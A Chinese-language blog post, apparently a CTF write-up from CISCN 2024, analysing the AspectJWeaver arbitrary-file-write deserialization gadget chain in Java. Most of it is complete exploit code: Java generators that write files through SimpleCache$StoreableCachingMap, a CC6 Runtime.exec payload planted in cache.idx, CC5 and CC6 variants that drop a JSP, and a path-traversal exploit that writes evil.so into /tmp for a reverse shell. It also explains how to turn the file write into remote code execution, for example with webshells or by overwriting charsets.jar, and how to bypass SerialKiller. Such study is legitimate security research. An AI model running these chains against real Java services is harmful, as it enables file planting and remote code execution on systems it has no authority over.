前言 依稀记得国赛初赛的那道Java题目就是用AspectJWeaver
写入恶意so文件传进去,然后load_extension一手反弹shell。
其实用到的就是AspectJWeaver
的任意文件写入漏洞。
AspectJWeaver
运用在面向切面编程(AOP: Aspect Oriented Programming)中
AOP是一种编程范式,旨在提高模块化、降低代码耦合度。它可以向现有代码添加其他行为而不修改代码本身。Spring就运用到了AOP
AOP的一些概念:
切面(Aspect): 公共功能的实现。如日志切面、权限切面、验签切面。给Java类使用@Aspect
注释修饰,就能被AOP容器识别为切面
通知(Advice): 切面的具体实现,即切面类中的一个方法,根据放置的地方不同,可分为前置通知(Before)、后置通知(AfterReturning)、异常通知(AfterThrowing)、最终通知(After)与环绕通知(Around)
连接点(JoinPoint): 程序在运行过程中能够插入切面的地方。Spring只支持方法级的连接点。比如一个目标对象有5个方法,就有5个连接点
切入点(PointCut): 用于定义通知应该切入到哪些连接点
目标对象(Target): 即将切入切面的对象,被通知的对象
代理对象(Proxy): 将通知应用到目标对象之后被动态创建的对象,可以简单地理解为,代理对象的功能等于目标对象本身业务逻辑加上共有功能。代理对象对于使用者而言是透明的,是程序运行过程中的产物。目标对象被织入公共功能后产生的对象。
织入(Weaving): 将切面应用到目标对象从而创建一个新的代理对象的过程。这个过程可以发生在编译时、类加载时、运行时。Spring是在运行时完成织入,运行时织入通过Java语言的反射机制与动态代理机制来动态实现。
大概了解一下,跟下面讲的利用链没啥关系
任意文件写入 这个利用链用到了CC依赖。回忆一下,Commons Collections 3.2.2中 增加了⼀个⽅法FunctorUtils#checkUnsafeSerialization
⽤于检测反序列化是否安全,其会检查常见的危险Transformer类,当我们反序列化包含这些对象时就会抛出异常。
AspectJWeaver
这里只用到了CC里的LazyMap
、TiedMapEntry
、ConstantTransformer
,高版本CC仍具有实用性。
1 2 3 4 5 6 7 8 9 10 <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.2</version > </dependency > <dependency > <groupId > org.aspectj</groupId > <artifactId > aspectjweaver</artifactId > <version > 1.9.2</version > </dependency >
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 package com.eddiemurphy;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.nio.file.Files;import java.nio.file.Paths;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class Test { public static void main (String[] args) throws Exception { String path = "E:/" ; String fileName = "AspectWrite.txt" ; Class<?> clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> constructor = clazz.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map map = (Map) constructor.newInstance(path, 2 ); Transformer transformer = new ConstantTransformer ("content to write" .getBytes(StandardCharsets.UTF_8)); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry entry = new TiedMapEntry (lazyMap, fileName); HashSet<Object> hs = new HashSet <>(1 ); hs.add("aaa" ); setPut(hs, entry); ser(hs); } private static void ser (Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (baos); objectOutputStream.writeObject(o); objectOutputStream.close(); File file = new File ("E:/ser" ); FileOutputStream outputStream = new FileOutputStream (file); outputStream.write(baos.toByteArray()); outputStream.close(); } private static void deser () throws Exception { byte [] fileBytes = Files.readAllBytes(Paths.get("E:/ser" )); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (fileBytes)); objectInputStream.readObject(); } public static void setPut (HashSet<Object> hs, Object o) throws Exception { Field field; try { field = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException e) { field = HashSet.class.getDeclaredField("backingMap" ); } field.setAccessible(true ); HashMap innerMap = (HashMap) field.get(hs); Field field1; try { field1 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException e) { field1 = HashMap.class.getDeclaredField("elementData" ); } field1.setAccessible(true ); Object[] array = (Object[]) field1.get(innerMap); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); } catch (NoSuchFieldException e) { keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } keyField.setAccessible(true ); keyField.set(node, o); } }
GadGet
:
HashSet#readObject
-> HashMap#put(tiedMapEntry, new Object())
-> HashMap#hash(tiedMapEntry)
-> TiedMapEntry#hashCode
-> TiedMapEntry#getValue
-> LazyMap#get
-> SimpleCache$StorableCachingMap#put
-> SimpleCache$StorableCachingMap#writeToPath
-> FileOutputStream#write()
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
顾名思义的角度,推测StoreableCachingMap"
可能是一个对对象进行存储和缓存的映射结构的名称。
它可能实现了一种将对象存储在内部数据结构中,并使用某种策略(例如时间戳、最近最少使用等)进行缓存管理的方式。
注意到SimpleCache
类的内部类StoreableCachingMap
是一个继承HashMap
的类。
1 2 3 4 5 6 7 private static class StoreableCachingMap extends HashMap { private String folder; private static final String CACHENAMEIDX = "cache.idx" ; private long lastStored = System.currentTimeMillis(); private static int DEF_STORING_TIMER = 60000 ; private int storingTimer; private transient Trace trace;
其构造方法在创建对象时接收文件夹路径和存储计时器的值,并将它们保存到对象的状态中,同时调用了一个初始化方法来确保对象的正确设置。
StoreableCachingMap
是HashMap
的子类,重写了put
方法:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private StoreableCachingMap (String folder, int storingTimer) { this .folder = folder; initTrace(); this .storingTimer = storingTimer; }@Override public Object put (Object key, Object value) { try { String path = null ; byte [] valueBytes = (byte []) value; if (Arrays.equals(valueBytes, SAME_BYTES)) { path = SAME_BYTES_STRING; } else { path = writeToPath((String) key, valueBytes); } Object result = super .put(key, path); storeMap(); return result; } catch (IOException e) { } return null ; }private String writeToPath (String key, byte [] bytes) throws IOException { String fullPath = folder + File.separator + key; FileOutputStream fos = new FileOutputStream (fullPath); fos.write(bytes); fos.flush(); fos.close(); return fullPath; }
这段代码的功能是将键值对添加到映射中。根据 value 的不同情况,可能会将路径设置为SAME_BYTES_STRING 或使用 writeToPath 方法将键和值写入到某个路径中。然后,将键和路径添加到映射中,并将映射数据存储到持久化存储中。最后,返回添加结果。
那个条件判断就是检查 valueBytes 是否与 SimpleCache.SAME_BYTES 相等。如果相等,说明 value 是一个特定的字节数组(SimpleCache.SAME_BYTES),则将 path 设置为SAME_BYTES_STRING。
SimpleCache.SAME_BYTES为下面的这个值:
1 private static final byte [] SAME_BYTES = SAME_BYTES_STRING.getBytes();
一通分析显然会进到else,跟进writeToPath
,这段代码的功能是将字节数组写入到指定路径的文件中。它创建一个文件输出流对象,将字节数组写入到文件 中,然后刷新输出流并关闭它。最后,返回写入的文件的完整路径。
在return fullPath处设断,注意到写入以及取到的文件路径就是由this.folder,File.separator和key拼接而成的:
writeToPath
实现写文件,folder和key拼接组成文件全路径。传入StoreableCachingMap#put
的key为文件名,value为写入的内容。
只要令传入的map为StoreableCachingMap即可触发StoreableCachingMap#put
而value的值也是我们通过ConstantTransformer可控的,如果key也可控,那么文件内容和路径都将由我们为所欲为。
但单纯的写文件危害不大,还得配合其他漏洞打。题目中遇到也只会成为一个小trick。
如何将写文件升级为RCE呢
Jsp WebShell 若目标应用支持解析JSP,可以直接写个Jsp WebShell。
class file in WEB-INF/classes 既然有反序列化入口,在WEB-INF/classes
下写入一个恶意的字节码文件,在readObject
或静态代码块中编写命令执行,然后再反序列化这个类。若有往JAVA_HOME
写的权限,可以往jre/classes
写入编译好的class。
FatJar under SpringBoot 现很多应用都采用了SpringBoot打包成一个jar或者war包放到服务器上部署,我们无法往classpath写jsp或字节码文件了,那就考虑覆盖jdk的系统类。
由于jvm的类加载机制,并不会一次性把所有jdk中的jar包都进行加载。
往目标环境写入/jre/lib/charsets.jar进行覆盖,然后在request header中加入特殊头部,此时由于给定了字符编码,会让jvm去加载charset.jar,从而触发恶意代码。
这种方法的缺点是目标$JAVA_HOME未知,需一个个尝试。
可以参考LandGrey’s Blog
Bypass SerialKiller 利用链中的ConstantTransformer
在SerialKiller
中被ban了
1 https://github.com/ikkisoft/SerialKiller
需要找一个和ConstantTransformer
效果等同的Transformer
(X)StringValueTransformer
transform
返回输入对象的字符串表示,会调用toString()
但后面写文件时会把value强转为byte[]
,而String
强转不了byte[]
,所以不能直接成功。
(√)FactoryTransformer
+ConstantFactory
1 Transformer transformer = FactoryTransformer.getInstance(ConstantFactory.getInstance("666" .getBytes(StandardCharsets.UTF_8)));
Forward Deser 利用AspectJWeaver
任意文件写后,发现同目录下出现了一个cache.idx
文件
StorableCachingMap#put
中调用完writeToPath
后紧接着调用了storeMap
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 public void storeMap () { long now = System.currentTimeMillis(); if ((now - lastStored ) < storingTimer){ return ; } File file = new File (folder + File.separator + CACHENAMEIDX);; try { ObjectOutputStream out = new ObjectOutputStream ( new FileOutputStream (file)); out.writeObject(this ); out.close(); lastStored = now; } }
获取当前系统时间,若和上次存储时间的时间差大于storingTimer
,会创建一个文件cache.idx
,并将this
序列化写入。
有序列化的地方必然有反序列化,StorableCachingMap#init
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 public static StoreableCachingMap init (String folder) { return init(folder,DEF_STORING_TIMER); }public static StoreableCachingMap init (String folder, int storingTimer) { File file = new File (folder + File.separator + CACHENAMEIDX); if (file.exists()) { try { ObjectInputStream in = new ObjectInputStream ( new FileInputStream (file)); StoreableCachingMap sm = (StoreableCachingMap) in.readObject(); sm.initTrace(); in.close(); return sm; } } return new StoreableCachingMap (folder,storingTimer); }
读取了cache.idx
并进行反序列化。接着看哪里调用了StoreableCachingMap#init
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 protected SimpleCache (String folder, boolean enabled) { this .enabled = enabled; cacheMap = Collections.synchronizedMap(StoreableCachingMap.init(folder)); if (enabled) { String generatedCachePath = folder + File.separator + GENERATED_CACHE_SUBFOLDER; File f = new File (generatedCachePath); if (!f.exists()){ f.mkdir(); } generatedCache = Collections.synchronizedMap(StoreableCachingMap.init(generatedCachePath,0 )); } }
在SimpleCache
的构造方法中调用StoreableCachingMap#init
也很好理解。
顾名思义这个类是一个缓存类,cacheMap
成员即其内部类StoreableCachingMap
,充当了一个内存层面的键值对缓存,当然它支持持久化存储,也就是每次写入缓存(StoreableCachingMap#put
)时,判断和上次存储时间的时间差是否超过storingTimer
存储计时器,超过则进行持久化操作,存储格式是序列化数据,存储文件为cache.idx
。
下次需要恢复到内存的时候,只需重新构造一个SimpleCache
对象即可,它会调用StoreableCachingMap#init
对持久化文件进行反序列化,得到原来的cacheMap
。
思路到这里就很明显了,先用AspectJWeaver
往cache.idx
写入恶意序列化数据,再通过CC链触发构造函数。
为了防止写入文件后,storeMap
又马上重写了我们的cache.idx
,设置storingTimer
为稍微大一点的值。
很可惜,不管是InstantiateTransformer
还是InstantiateFactory
,都要求目标类的构造方法需要是public
应该能配合其他漏洞打,比如SnakeYaml
贴一个写CC6序列化数据的payload,接下来就是调用SimpleCache
构造器的问题了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.*;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.*;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.util.HashMap;import java.util.Map;public class Test { public static String path = "E:/" ; public static String fileName = "cache.idx" ; public static void main (String[] args) throws Exception { writeFile(); } public static void writeFile () throws Exception { Class<?> clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Constructor<?> constructor = clazz.getDeclaredConstructor(String.class, int .class); constructor.setAccessible(true ); Map map = (Map) constructor.newInstance(path, 6000000 ); Transformer transformer = FactoryTransformer.getInstance(ConstantFactory.getInstance(CC6())); Map lazyMap = LazyMap.decorate(map, transformer); TiedMapEntry entry = new TiedMapEntry (lazyMap, fileName); BadAttributeValueExpException val = new BadAttributeValueExpException (1 ); setValue(val, "val" , entry); ser(val); } private static void ser (Object o) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream objectOutputStream = new ObjectOutputStream (baos); objectOutputStream.writeObject(o); objectOutputStream.close(); ObjectInputStream objectInputStream = new ObjectInputStream (new ByteArrayInputStream (baos.toByteArray())); objectInputStream.readObject(); } public static void setValue (Object obj, String name, Object value) throws Exception { Field field = obj.getClass().getDeclaredField(name); field.setAccessible(true ); field.set(obj, value); } public static byte [] CC6() throws Exception { Transformer[] transformers = new Transformer [] { new ConstantTransformer (Runtime.class), new InvokerTransformer ( "getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , null }), new InvokerTransformer ( "invoke" , new Class []{Object.class, Object[].class}, new Object []{Runtime.class, null }), new InvokerTransformer ( "exec" , new Class []{String.class}, new Object []{"calc" }) }; Transformer[] fakeTransformers = new Transformer [] {new ConstantTransformer (1 )}; Transformer transformerChain = new ChainedTransformer (fakeTransformers); Map lazyMap = LazyMap.decorate(new HashMap (), transformerChain); TiedMapEntry tiedMapEntry = new TiedMapEntry (lazyMap, "a" ); Map expMap = new HashMap (); expMap.put(tiedMapEntry, "b" ); setValue(transformerChain, "iTransformers" , transformers); ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(expMap); oos.close(); return baos.toByteArray(); } }
CC5改链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 package com.eddiemurphy;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.lang.reflect.Field;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class AJCC5 { public static void main (String[] args) throws Exception { Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ).getDeclaredConstructor(String.class,int .class); con.setAccessible(true ); HashMap map = (HashMap)con.newInstance("C:" , 1 ); ConstantTransformer transform = new ConstantTransformer ("EddieMurphy" .getBytes(StandardCharsets.UTF_8)); Map outmap = LazyMap.decorate(map,transform); TiedMapEntry tiedmap = new TiedMapEntry (outmap,"Users\\75279\\Desktop\\1.jsp" ); BadAttributeValueExpException poc = new BadAttributeValueExpException (null ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(poc,tiedmap); ByteArrayOutputStream out = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (out); oos.writeObject(poc); System.out.println(Base64.getEncoder().encodeToString(out.toByteArray())); ByteArrayInputStream in = new ByteArrayInputStream (out.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); ois.readObject(); } }
CC6改链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 package com.eddiemurphy;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.nio.charset.StandardCharsets;import java.util.Base64;import java.util.HashMap;import java.util.Map;public class AJCC6 { public static void main (String[] args) throws Exception { Constructor con = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ).getDeclaredConstructor(String.class,int .class); con.setAccessible(true ); HashMap map = (HashMap)con.newInstance("C:" , 1 ); ConstantTransformer transform = new ConstantTransformer ("EddieMurphy" .getBytes(StandardCharsets.UTF_8)); Map outmap = LazyMap.decorate(map,transform); TiedMapEntry tiedmap = new TiedMapEntry (outmap,"Users\\75279\\Desktop\\1.jsp" ); Map expMap = new HashMap (); expMap.put(tiedmap, "xxx" ); ByteArrayOutputStream out = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (out); oos.writeObject(expMap); System.out.println(Base64.getEncoder().encodeToString(out.toByteArray())); ByteArrayInputStream in = new ByteArrayInputStream (out.toByteArray()); ObjectInputStream ois = new ObjectInputStream (in); ois.readObject(); } }
最后补充一下国赛那道题用的AspectJWeaver
写入恶意so文件的EXP,完整初赛wp可见CISCN2024-WEB-wp - Eddie_Murphy - 博客园 (cnblogs.com) :
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 package com.eddiemurphy;import com.example.jdbctest.bean.UserBean;import java.io.ByteArrayOutputStream;import java.io.FileOutputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Constructor;import java.nio.file.Files;import java.nio.file.Path;import java.nio.file.Paths;import java.util.Base64;public class Exp { public static Constructor<?> getCtor(final String name) throws Exception { final Constructor<?> ctor = Class.forName(name).getDeclaredConstructors()[0 ]; ctor.setAccessible(true ); return ctor; } public static Object getObject () throws Exception { String filename = "../../../../../../../../../../../../tmp/evil.so" ; Path filePath = Paths.get("F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\evil.so" ); byte [] fileBytes = Files.readAllBytes(filePath); String content = Base64.getEncoder().encodeToString(fileBytes); UserBean bean = new UserBean (filename, content); Constructor<?> ctor = getCtor("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap" ); Object simpleCache = ctor.newInstance("." , 12 ); bean.setObj(simpleCache); return bean; } public static byte [] serialize(Object object) throws Exception { ByteArrayOutputStream baos = new ByteArrayOutputStream (); ObjectOutputStream oos = new ObjectOutputStream (baos); oos.writeObject(object); oos.close(); return baos.toByteArray(); } public static void main (String[] args) throws Exception { byte [] serialized = serialize(getObject()); String fileName = "F:\\CTF_Java\\CISCN2024\\src\\main\\java\\com\\eddiemurphy\\output.ser" ; FileOutputStream fos = new FileOutputStream (fileName); fos.write(serialized); fos.close(); } }
参考:
AspectJWeaver | Java (gitbook.io)
【Web】浅聊Java反序列化之AspectJWeaver——任意文件写入-CSDN博客